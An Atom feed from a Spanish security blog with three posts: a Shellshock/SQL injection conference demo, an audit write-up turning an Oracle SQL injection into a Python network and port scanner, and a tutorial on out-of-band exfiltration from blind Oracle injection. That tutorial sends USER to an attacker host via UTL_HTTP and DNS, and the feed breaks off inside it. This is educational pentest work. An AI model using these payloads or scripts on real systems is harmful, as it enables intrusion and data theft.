<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5126521867667260192</id><updated>2024-11-01T08:50:59.806+01:00</updated><category term="Herramientas"/><category term="Pentesting"/><category term="Seguridad Web"/><category term="Protocolos"/><category term="Inyección de código SQL"/><category term="Cracking"/><category term="OAuth"/><category term="VPN"/><category term="findmyhash"/><category term="seguridad"/><category term="DVWA"/><category term="android"/><category term="Codigo Fuente"/><category term="Google Hacking"/><category term="autenticación"/><category term="googler"/><category term="Command Execution"/><category term="Criptografía"/><category term="Firesheep Linux"/><category term="La X marca el lugar"/><category term="MSN"/><category term="Oracle"/><category term="Virus"/><category term="Wi-Fi"/><category term="credenciales"/><category term="Bing"/><category term="CentOS"/><category term="Clickjacking"/><category term="DroidSheep"/><category term="General"/><category term="ISMS Forum"/><category term="Nessus"/><category term="PCI"/><category term="Shellshock"/><category term="SpyEye"/><category term="Stuxnet"/><category term="Zeus"/><category term="aplicación"/><category term="estándares de seguridad"/><category term="gingerbread"/><category term="msnp"/><category term="msntunnel"/><category term="tapjacking"/><category term="tcpdump"/><category term="token"/><category term="vulnerabilidad"/><category term="wireshark"/><title type='text'>La X marca el lugar</title><subtitle type='html'>Blog sobre Seguridad Informática - IT Security Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://laxmarcaellugar.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>51</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7854201030973521931</id><published>2014-10-21T08:45:00.000+02:00</published><updated>2014-10-21T08:45:00.614+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Command Execution"/><category scheme="http://www.blogger.com/atom/ns#" term="Inyección de código SQL"/><category scheme="http://www.blogger.com/atom/ns#" term="ISMS Forum"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Shellshock"/><title type='text'>Demo Shellshock en el ISMS Forum</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.ismsforum.es/ficheros/scsi.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://www.ismsforum.es/ficheros/scsi.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
La semana pasada participé como ponente en el tercer&amp;nbsp;Foro de Ciberseguridad del &lt;a href=&quot;https://www.ismsforum.es/evento/programa.php?idevento=628&quot; target=&quot;_blank&quot;&gt;Spanish Cyber Security Institute&lt;/a&gt;, más conocido como ISMS Forum.&lt;br /&gt;
&lt;br /&gt;
En la charla que di presenté un incidente de seguridad en el que estuve trabajando hace un mes para una empresa española que nos pidió colaboración para identificar el problema que habían tenido y recomendaciones a la hora de solucionarlo.&lt;br /&gt;
&lt;br /&gt;
Como me habían pedido que hiciera alguna demostración, pero obviamente no podía dar datos reales, monté un par de entornos vulnerables sobre los que hacer las pruebas.&lt;br /&gt;
&lt;br /&gt;
La primera de las demostraciones que hice fue para mostrar un par de las vulnerabilidad que tenían en la aplicación web que se comprometió. La primera de las vulnerabilidades consistía en la posibilidad de acceder a los datos personales de otros usuarios.&lt;br /&gt;
&lt;br /&gt;
Esta vulnerabilidad es relativamente frecuente en muchas aplicaciones web y &lt;i&gt;web services&lt;/i&gt;. Normalmente se debe a que se utiliza un identificador fácilmente predecible para determinar el registro, fichero o recurso en general que se tiene que mostrar. Hay un segundo aspecto que hace que se provoque la vulnerabilidad (además del identificador predecible) y es que no se gestionen correctamente los permisos de cada usuario, ya que la aplicación debería identificar y evitar que un usuario pudiera acceder a recursos que pertenecen a otro usuario.&lt;br /&gt;
&lt;br /&gt;
La segunda vulnerabilidad que se muestra en el primero de los vídeos es una &lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; target=&quot;_blank&quot;&gt;inyección de código SQL &lt;/a&gt;muy sencillita de explotar. Lo que iba buscando con esta demostración es demostrar lo fácil que puede llegar a ser explotar este tipo de vulnerabilidades y lo peligroso que resulta en caso de que se esté almacenando información de carácter confidencial en la base de datos (en la demo, se llegaban a mostrar números de tarjetas de crédito, con su CVV y su fecha de caducidad).&lt;br /&gt;
&lt;br /&gt;
La primera demo se puede ver en el siguiente vídeo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/40iLfdRwM8U?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
La segunda de las demos que hice fue para mostrar la vulnerabilidad de&lt;b&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot; target=&quot;_blank&quot;&gt;Shellshock &lt;/a&gt;&lt;/b&gt;explotada a través de un CGI hospedado en un servidor web.&lt;br /&gt;
&lt;br /&gt;
Aunque esta vulnerabilidad no estaba del todo relacionado con el resto del contenido de mi charla, aproveché que uno de los ponentes anteriores había hablado de la vulnerabilidad largo y tendido pero no había llegado a realizar ninguna demo. Mi intención, por tanto, era hacer ver que algunas de las vulnerabilidades que se leen en Internet sí que son realmente fáciles de explotar sin ningún tipo de recursos especiales.&lt;br /&gt;
&lt;br /&gt;
Ésta es la segunda demo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;https://ytimg.googleusercontent.com/vi/2OIYN_jL2QU/0.jpg&quot; height=&quot;266&quot; width=&quot;320&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;https://youtube.googleapis.com/v/2OIYN_jL2QU&amp;source=uds&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;320&quot; height=&quot;266&quot;  src=&quot;https://youtube.googleapis.com/v/2OIYN_jL2QU&amp;source=uds&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Espero que las disfrutéis y podáis utilizarlas si tenéis que presentar este tipo de vulnerabilidades en algún tipo de ambiente.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/10/demo-shellshock-en-el-isms-forum.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7854201030973521931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7854201030973521931'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/10/demo-shellshock-en-el-isms-forum.html' title='Demo Shellshock en el ISMS Forum'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-1874242655242035176</id><published>2014-03-10T08:45:00.000+01:00</published><updated>2014-03-10T10:36:35.783+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Inyección de código SQL"/><category scheme="http://www.blogger.com/atom/ns#" term="Oracle"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>De una inyección SQL a un escáner de red</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkiBDmVv1F_FNqul1dS0ViFCqZFwkdyIoREUg5nEsnqp32LqPl1Kf2q4Qc97knvdxMN5xJjAaAi7efiehftjXMdJNfYL6kM7SVcF2jsmV3TRV8PRuhC9L5HXzHrFxHalqXY5l419L05T4/s1600/sql-injection.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkiBDmVv1F_FNqul1dS0ViFCqZFwkdyIoREUg5nEsnqp32LqPl1Kf2q4Qc97knvdxMN5xJjAaAi7efiehftjXMdJNfYL6kM7SVcF2jsmV3TRV8PRuhC9L5HXzHrFxHalqXY5l419L05T4/s1600/sql-injection.png&quot; height=&quot;150&quot; width=&quot;112&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.&lt;br /&gt;
&lt;br /&gt;
Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.&lt;br /&gt;
&lt;br /&gt;
Algo así como:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;procedimiento_almacenado (parámetro_vulnerable);&lt;/pre&gt;
&lt;br /&gt;
Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.&lt;br /&gt;
&lt;br /&gt;
Tras probar muchas cosas, vi que sí que podía utilizar variables &lt;a href=&quot;http://docs.oracle.com/cd/B19306_01/server.102/b14200/functions165.htm&quot; target=&quot;_blank&quot;&gt;SYS_CONTEXT&lt;/a&gt;&amp;nbsp;para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;SELECT user from DUAL;&lt;/pre&gt;
&lt;br /&gt;
Sí que podía (ojo, era una inyección de tipo numérico):&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;55 - (ASCII (SUBSTR (user,1,1)) - ASCII(&#39;U&#39;) )&lt;/pre&gt;
&lt;br /&gt;
O, del mismo modo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;55 - (ASCII (SUBSTR (SYS_CONTEXT(&#39;USERENV&#39;, &#39;CURRENT_USER&#39;), 1, 1)) - ASCII(&#39;U&#39;) )&lt;/pre&gt;
&lt;br /&gt;
Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...&lt;br /&gt;
&lt;br /&gt;
Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2014/02/pero-senor-este-oraculo-no-esta-ciego.html&quot; target=&quot;_blank&quot;&gt;la entrada anterior&lt;/a&gt;: UTL_HTTP y UTL_INADDR.&lt;br /&gt;
&lt;br /&gt;
Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;http://10.0.2.51:22&lt;/li&gt;
&lt;li&gt;http://10.0.2.51:80&lt;/li&gt;
&lt;li&gt;http://10.0.2.51:443&lt;/li&gt;
&lt;li&gt;http://10.0.2.51:8080&lt;/li&gt;
&lt;li&gt;http://10.0.2.51:1521&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Error cuando el puerto estaba abierto:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at &quot;SYS.UTL_HTTP&quot;, line 1722 ORA-29263: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;HTTP protocol error&lt;/b&gt;&lt;/span&gt; ORA-06512: at line 1 at [...]&lt;/pre&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Error cuando el puerto estaba cerrado:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at &quot;SYS.UTL_HTTP&quot;, line 1722 ORA-12541: &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;TNS:no listener&lt;/span&gt;&lt;/b&gt; ORA-06512: at line 1 at [...]&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Cuando no existía el host:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at &quot;SYS.UTL_HTTP&quot;, line 1722 ORA-12543: &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;TNS:destination host unreachable&lt;/span&gt;&lt;/b&gt; ORA-06512: at line 1 at [...]&lt;/pre&gt;
&lt;br /&gt;
Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.&lt;br /&gt;
&lt;br /&gt;
Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Escaneo de red:&lt;/h4&gt;
&lt;pre class=&quot;brush: python&quot;&gt;import requests

cookies = { &quot;JSESSIONID&quot; : &quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot; }
headers = { &quot;Content-Type&quot; : &quot;application/x-www-form-urlencoded&quot;}

i = 0

for i in range(254):
 r = requests.post (&quot;http://www.example.com/vulnerable_page&quot;, &quot;parametro_vulnerable=55 - (length (utl_http.request(&#39;http://10.0.2.%s:22/&#39;)) )&quot; % str(i+1), cookies=cookies, headers=headers )

 if not &quot;destination host unreachable&quot; in r.text:
  print &quot;Alive: 10.0.2.%s&quot; % str(i+1)&lt;/pre&gt;
&lt;br /&gt;
Este script se ejecutará directamente:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;$ python network_scan.py&lt;/pre&gt;
&lt;br /&gt;
&lt;h4&gt;
Escaneo de puertos:&lt;/h4&gt;
&lt;pre class=&quot;brush: python&quot;&gt;import requests
import sys

cookies = { &quot;JSESSIONID&quot; : &quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot; }
headers = { &quot;Content-Type&quot; : &quot;application/x-www-form-urlencoded&quot;}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
 r = requests.post (&quot;http://www.example.com/vulnerable_page&quot;, &quot;parametro_vulnerable=55 - (length (utl_http.request(&#39;http://%s:%s/&#39;)) )&quot; % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

 if not &quot;no listener&quot; in r.text:
  print &quot;Open port: %s&quot; % str(i)
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;$ python port_scan.py 10.0.2.51&lt;/pre&gt;
&lt;br /&gt;
Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1874242655242035176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1874242655242035176'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html' title='De una inyección SQL a un escáner de red'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkiBDmVv1F_FNqul1dS0ViFCqZFwkdyIoREUg5nEsnqp32LqPl1Kf2q4Qc97knvdxMN5xJjAaAi7efiehftjXMdJNfYL6kM7SVcF2jsmV3TRV8PRuhC9L5HXzHrFxHalqXY5l419L05T4/s72-c/sql-injection.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-276956365215352646</id><published>2014-02-18T08:45:00.000+01:00</published><updated>2014-02-18T08:45:01.311+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Inyección de código SQL"/><category scheme="http://www.blogger.com/atom/ns#" term="Oracle"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>¡Pero señor! ¡Este oráculo no está ciego!</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD9CIY4BTkVkshpygeiWk81vNMswbaAYPUS2RT5INi9xtXoia2vJtIil4a74enYprIumfaTAjfT2lnzMCm6in-RrP56c5JLvu8uY511P7XX_MSE8faDjmjqlrqEkL5nx2o9n6Lu31h0o-q/s1600/Blind.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD9CIY4BTkVkshpygeiWk81vNMswbaAYPUS2RT5INi9xtXoia2vJtIil4a74enYprIumfaTAjfT2lnzMCm6in-RrP56c5JLvu8uY511P7XX_MSE8faDjmjqlrqEkL5nx2o9n6Lu31h0o-q/s1600/Blind.jpeg&quot; height=&quot;200&quot; width=&quot;186&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Todos sabemos que explotar una inyección de código SQL ciega (&lt;i&gt;blind SQL injection&lt;/i&gt;) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, &lt;a href=&quot;http://www.open-labs.org/&quot; target=&quot;_blank&quot;&gt;sqlibf&lt;/a&gt; o tantas otras nos hacen la vida mucho más fácil.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una &lt;a href=&quot;http://es.wikipedia.org/wiki/Algoritmo_de_b%C3%BAsqueda&quot; target=&quot;_blank&quot;&gt;búsqueda dicotómica&lt;/a&gt;. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Puestos ya en escena, os quiero contar una técnica para hacer que una inyección &quot;ciega&quot; no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;UTL_HTTP&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Supongamos que el parámetro inyectable es &quot;id&quot;, con una inyección de tipo numérico, en la siguiente URL:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;http://www.myfakedomain.com/vulnerablepage?&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;id=500&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En un caso normal, utilizaríamos payloads como:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;id=500 and substr(USER,1,1) = &#39;a&#39;&lt;/li&gt;
&lt;li&gt;id=500 and substr(USER,1,1) = &#39;b&#39;&lt;/li&gt;
&lt;li&gt;id=500 and substr(USER,1,1) = &#39;c&#39;&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;li&gt;id=500 and substr(USER,2,1) = &#39;a&#39;&lt;/li&gt;
&lt;li&gt;id=500 and substr(USER,2,1) = &#39;b&#39;&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;id=500 and UTP_HTTP.request(&#39;http://www.myserver.com/&#39; || USER) is not NULL&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] &quot;GET /PROD_USER HTTP/1.1&quot; 404 484 &quot;-&quot; &quot;Mozilla/5.0 ...&quot;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
De donde sacamos que el nombre de usuario es &quot;PROD_USER&quot;.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;UTL_INADDR&lt;/b&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Tahoma, sans-serif; font-size: x-small; line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;PROD_USER.myserver.com&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Para ello, tendremos que utilizar un payload como el siguiente:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;id=500 and UTL_INADDR.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;GET_HOST_ADDRESS&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;(USER || &#39;.myserver.com&#39;) is not NULL&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;br /&gt;
